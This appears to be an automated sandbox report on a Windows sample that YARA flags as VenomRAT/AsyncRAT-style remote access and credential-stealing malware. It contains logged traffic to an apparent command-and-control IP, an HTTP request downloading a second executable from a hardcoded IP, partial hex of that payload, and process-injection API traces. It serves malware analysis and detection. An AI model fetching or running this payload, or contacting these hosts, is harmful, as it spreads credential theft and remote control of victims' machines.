Jan 2, 2025 19:17:24.722060919 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:24.726802111 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.502211094 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:35.507059097 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.514240980 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:35.519092083 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.797753096 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.935494900 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.935616016 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:35.938002110 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:35.942846060 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:35.943077087 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:35.947931051 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.235606909 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:48.240466118 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.240535975 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:48.245289087 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.533840895 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.625844955 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:48.681550980 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.758538008 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:48.763444901 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:48.764211893 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:48.769098997 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:55.548427105 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:55.553375959 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:55.553464890 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:55.558311939 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:55.846757889 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:55.895190001 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:55.978929996 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:55.999209881 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:56.004142046 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:17:56.004199028 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:17:56.009088039 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.282906055 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:08.287703991 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.290309906 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:08.295140982 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.578409910 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.625977993 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:08.711520910 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.721407890 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:08.726286888 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:08.726346970 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:08.731179953 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.080326080 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:10.085217953 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.085689068 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:10.090536118 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.375143051 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.469773054 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:10.507519007 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.509622097 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:10.514403105 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:10.514458895 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:10.519300938 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:22.815037966 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:22.819864988 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:22.819928885 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:22.824712038 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:23.122476101 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:23.259629011 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:23.259857893 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:23.264334917 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:23.269135952 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:23.269217968 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:23.274014950 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:25.829778910 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:25.834625959 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:25.837815046 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:25.842600107 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:26.126344919 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:26.172967911 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:26.263529062 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:26.264378071 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:26.269171953 CET	4449	49705	157.20.182.177	192.168.2.8
Jan 2, 2025 19:18:26.272703886 CET	49705	4449	192.168.2.8	157.20.182.177
Jan 2, 2025 19:18:26.277585030 CET	4449	49705	157.20.182.177	192.168.2.8

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 19:14:24.204225063 CET	1.1.1.1	192.168.2.8	0x726e	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:14:24.204225063 CET	1.1.1.1	192.168.2.8	0x726e	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:15:36.631925106 CET	1.1.1.1	192.168.2.8	0x56f6	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 19:15:36.631925106 CET	1.1.1.1	192.168.2.8	0x56f6	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	147.45.44.131	80	7796	C:\Users\user\Desktop\rwvg1.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 19:14:17.011984110 CET	181	OUT	GET /infopage/ersyb.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Jan 2, 2025 19:14:17.649792910 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 09:39:17 GMT ETag: "2fdc00-62ab5ef921a41" Accept-Ranges: bytes Content-Length: 3136512 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS
Jan 2, 2025 19:14:17.649800062 CET	1236	IN	Data Raw: 11 89 2f 72 36 a1 94 38 58 9a bb 18 91 fb 4e c5 64 e1 97 2f 07 e7 ba 86 13 0a 78 65 4e fc 5b 19 3e a0 8e d0 c0 1a 46 24 82 79 27 45 7d 83 c6 86 2b fe 09 f9 69 47 f3 3c 64 db 37 92 86 4a a5 7a 63 60 fa 2f 48 7f 7a 0d c8 09 32 7b 19 3b 66 ca d3 39 Data Ascii: /r68XNd/xeN[>F$y'E}+iG<d7Jzc`/Hz2{;f96t2g)%P7^<$"Pu\|`XEg1FOUZ/MT_sHe`m>F9U+@oV?;eK9=^tLlU%/^}< b08hz
Jan 2, 2025 19:14:17.649805069 CET	448	IN	Data Raw: a0 d5 6c cf 33 9f c1 99 e2 9b df 84 dd a9 00 01 02 03 04 06 08 08 00 00 00 00 00 00 00 00 eb 47 3c 69 8d 59 87 40 07 37 16 f2 ad 89 61 6f ce 4f cf b1 97 33 72 de cb 5d 06 ce 6c 8d 61 dd 11 77 09 ed 94 5e 77 10 10 b5 bb 41 bd 2f 5c ff 9c cd ca ce Data Ascii: l3G<iY@7aoO3r]law^wA/\n=tHB\RuZyXd*0QVv}CA-cp<aef,tMl=nSzSZF$>d33!v5u1mC'A34I$
Jan 2, 2025 19:14:17.649811029 CET	1236	IN	Data Raw: ec 36 0b 9f 92 5b cd 24 00 31 a6 5d 16 17 dd d2 aa 34 11 7b 23 71 21 88 72 6d e0 41 8b 96 a0 d2 b3 cf c5 a4 b6 52 56 f4 e7 ae 44 de 33 2f 66 33 6f 33 4b 2d 31 31 3d 47 2d 4e 37 56 4a 74 6f 7a 4f 57 52 72 3d 28 74 4e 5a 42 66 4b 2b 62 53 37 46 79 Data Ascii: 6[$1]4{#q!rmARVD3/f3o3K-11=G-N7VJtozOWRr=(tNZBfK+bS7Fy1@Nr@Xl^zt@IUtuH3hPY6XA!)y<RNRJT0U},,E4TR;&KF!M!h8^iT:<)a?~mXeN~o?gN[
Jan 2, 2025 19:14:17.649816036 CET	1236	IN	Data Raw: 50 d1 9e b7 36 b0 ca 25 4c 44 82 9c f3 1b 7b ae df 14 9f 8a c4 3e 9f d2 53 d1 ff 40 bf 6f 17 03 71 77 e7 79 fc 70 4f 20 72 9c 90 9b 7b b2 14 f3 4c 88 1b c0 6f 09 3d e8 1f f1 19 b8 57 ec 19 eb 00 20 83 e9 9c e1 df 79 f7 6a 33 c0 c2 14 00 00 00 00 Data Ascii: P6%LD{>S@oqwypO r{Lo=W yj3!hK+)1f<v*DBCDFGHJKMPQRTVWXY2346789K}A+5}.[Xn}P@(,,H+KbQ0E[/6af1r\|>
Jan 2, 2025 19:14:17.649826050 CET	1236	IN	Data Raw: 00 00 8c 03 00 00 61 02 00 00 04 03 00 00 9a 00 00 00 12 01 00 00 44 02 00 00 b8 00 00 00 4f 00 00 00 72 02 00 00 76 02 00 00 e6 02 00 00 8d 02 00 00 1a 01 00 00 fa 02 00 00 6f 02 00 00 a8 02 00 00 51 00 00 00 9f 03 00 00 72 02 00 00 15 03 00 00 Data Ascii: aDOrvoQr},5NWN`~YfkD\|Rdpk)
Jan 2, 2025 19:14:17.649874926 CET	1236	IN	Data Raw: 00 00 09 00 00 00 06 00 00 00 0a 00 00 00 05 00 00 00 0b 00 00 00 04 00 00 00 0c 00 00 00 03 00 00 00 0d 00 00 00 02 00 00 00 0e 00 00 00 01 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 07 00 00 00 0f 00 00 00 1f 00 00 00 Data Ascii: ??`PTsRp0P
Jan 2, 2025 19:14:17.649889946 CET	328	IN	Data Raw: 00 00 08 00 00 00 0a 00 00 00 00 00 00 00 08 00 00 00 8a 00 00 00 00 00 00 00 08 00 00 00 4a 00 00 00 00 00 00 00 09 00 00 00 f4 00 00 00 50 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 08 00 00 00 56 00 00 00 00 00 00 00 08 00 00 00 16 00 00 00 Data Ascii: JPVS3v6Qf&FP
Jan 2, 2025 19:14:17.649894953 CET	1236	IN	Data Raw: 00 00 dc 00 00 00 52 00 00 00 07 00 00 00 1b 00 00 00 00 00 00 00 08 00 00 00 6e 00 00 00 00 00 00 00 08 00 00 00 2e 00 00 00 00 00 00 00 09 00 00 00 bc 00 00 00 00 00 00 00 08 00 00 00 0e 00 00 00 00 00 00 00 08 00 00 00 8e 00 00 00 00 00 00 00 Data Ascii: Rn.N`QURq1Pa!
Jan 2, 2025 19:14:17.649902105 CET	1236	IN	Data Raw: 00 00 4b 00 00 00 00 00 00 00 09 00 00 00 f6 00 00 00 50 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 08 00 00 00 57 00 00 00 00 00 00 00 08 00 00 00 17 00 00 00 c0 00 00 00 08 00 00 00 00 00 00 00 53 00 00 00 07 00 00 00 33 00 00 00 00 00 00 00 Data Ascii: KPWS3w7Qg'GP_
Jan 2, 2025 19:14:17.654979944 CET	1236	IN	Data Raw: 00 00 72 00 00 00 00 00 00 00 08 00 00 00 32 00 00 00 00 00 00 00 09 00 00 00 c5 00 00 00 51 00 00 00 07 00 00 00 0b 00 00 00 00 00 00 00 08 00 00 00 62 00 00 00 00 00 00 00 08 00 00 00 22 00 00 00 00 00 00 00 09 00 00 00 a5 00 00 00 00 00 00 00 Data Ascii: r2Qb"BPZTCz:Rj

Target ID:	0
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\rwvg1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rwvg1.exe"
Imagebase:	0x650000
File size:	35'328 bytes
MD5 hash:	671A477D299131351498B10922FA09D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"
Imagebase:	0xa90000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE40B.tmp" "c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP"
Imagebase:	0xef0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:14:19
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000005.00000002.3907344980.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	24%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	1

Executed Functions

Function 01002558 Relevance: 3.1, APIs: 2, Instructions: 98
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 01002500
ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 010025E0

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: MemoryProcess$ReadWrite
String ID:
API String ID: 3589323503-0
Opcode ID: ee8a06174a2ddfd840fcb136b70ca25a1ce4dfcc1c88c295c47b588c0b33ee05
Instruction ID: 7d869e01a04efd7e96b3e5f6970de902105ad54f48b57557133da1013633c79d
Opcode Fuzzy Hash: ee8a06174a2ddfd840fcb136b70ca25a1ce4dfcc1c88c295c47b588c0b33ee05
Instruction Fuzzy Hash: E54147728003498FEF10DFA9C844BEEBBF5BF88320F10842AE559A7290C7799554DB64

Function 010026EC Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0100292E

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e1a685b2b95df77224dd333af7a0e1a1d1ee3a94f52a4f93af855f7e39f7e75f
Instruction ID: d544a6b9d487267c311e961b7b4684edeb971045fde5243f3b7bc088d6497de0
Opcode Fuzzy Hash: e1a685b2b95df77224dd333af7a0e1a1d1ee3a94f52a4f93af855f7e39f7e75f
Instruction Fuzzy Hash: 90A17D71D003598FEB65DF68C845BEDBBF2BF44310F1481A9E888A7280DB749985CF91

Function 010026F8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0100292E

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 88afbfa0020063fea4022e87d4c784b19fc2d73fb0829d229f7de41f1edfc146
Instruction ID: 7b72661fa818eeb8510d71ed81edf889b1ff23771de69ed56ec3be19278a699b
Opcode Fuzzy Hash: 88afbfa0020063fea4022e87d4c784b19fc2d73fb0829d229f7de41f1edfc146
Instruction Fuzzy Hash: DA914B71D0031A8FEB65DF69C845BDEBBF2BF44710F1481A9E848A7280DB749A85CF91

Function 01002468 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 01002500

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3aa3f7f097154ebd292a505350f7db2db0621d014132e0fc4493b783a093283c
Instruction ID: 80c0f5f414c3db1cb0d0d918e69e48562be030b6878fa29d994a6569d25cce1b
Opcode Fuzzy Hash: 3aa3f7f097154ebd292a505350f7db2db0621d014132e0fc4493b783a093283c
Instruction Fuzzy Hash: 7B2148719003499FDB10CFA9C885BEEBFF5FF88310F14882AE959A7241C7799554CB64

Function 01002470 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 01002500

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dfe6b115dea5b38f22839fd508c78d8c0934446e14f9bfbe994d6ef0ee8a72e7
Instruction ID: 37148a4aaaf91149e8757cc4655cdd499914fe1c1c1ac370e0cbd84462258925
Opcode Fuzzy Hash: dfe6b115dea5b38f22839fd508c78d8c0934446e14f9bfbe994d6ef0ee8a72e7
Instruction Fuzzy Hash: 272139719003499FDF10DFAAC885BDEBBF5FF48310F10842AE959A7240C7799954CBA4

Function 010022D1 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 01002356

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9dfcd8e141e0b5f33f3970d71da857b2eddf700b4f86f9a6d4b55c65bb7d7479
Instruction ID: 94a1c971b6b9ff3dd7113742cdc3e28801984168a095cd7335f1295a9a93aac2
Opcode Fuzzy Hash: 9dfcd8e141e0b5f33f3970d71da857b2eddf700b4f86f9a6d4b55c65bb7d7479
Instruction Fuzzy Hash: BC2128719003498FEB10DFAAC4857EEBBF4AF88214F54842ED559A7281C7789545CF90

Function 01002560 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 010025E0

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

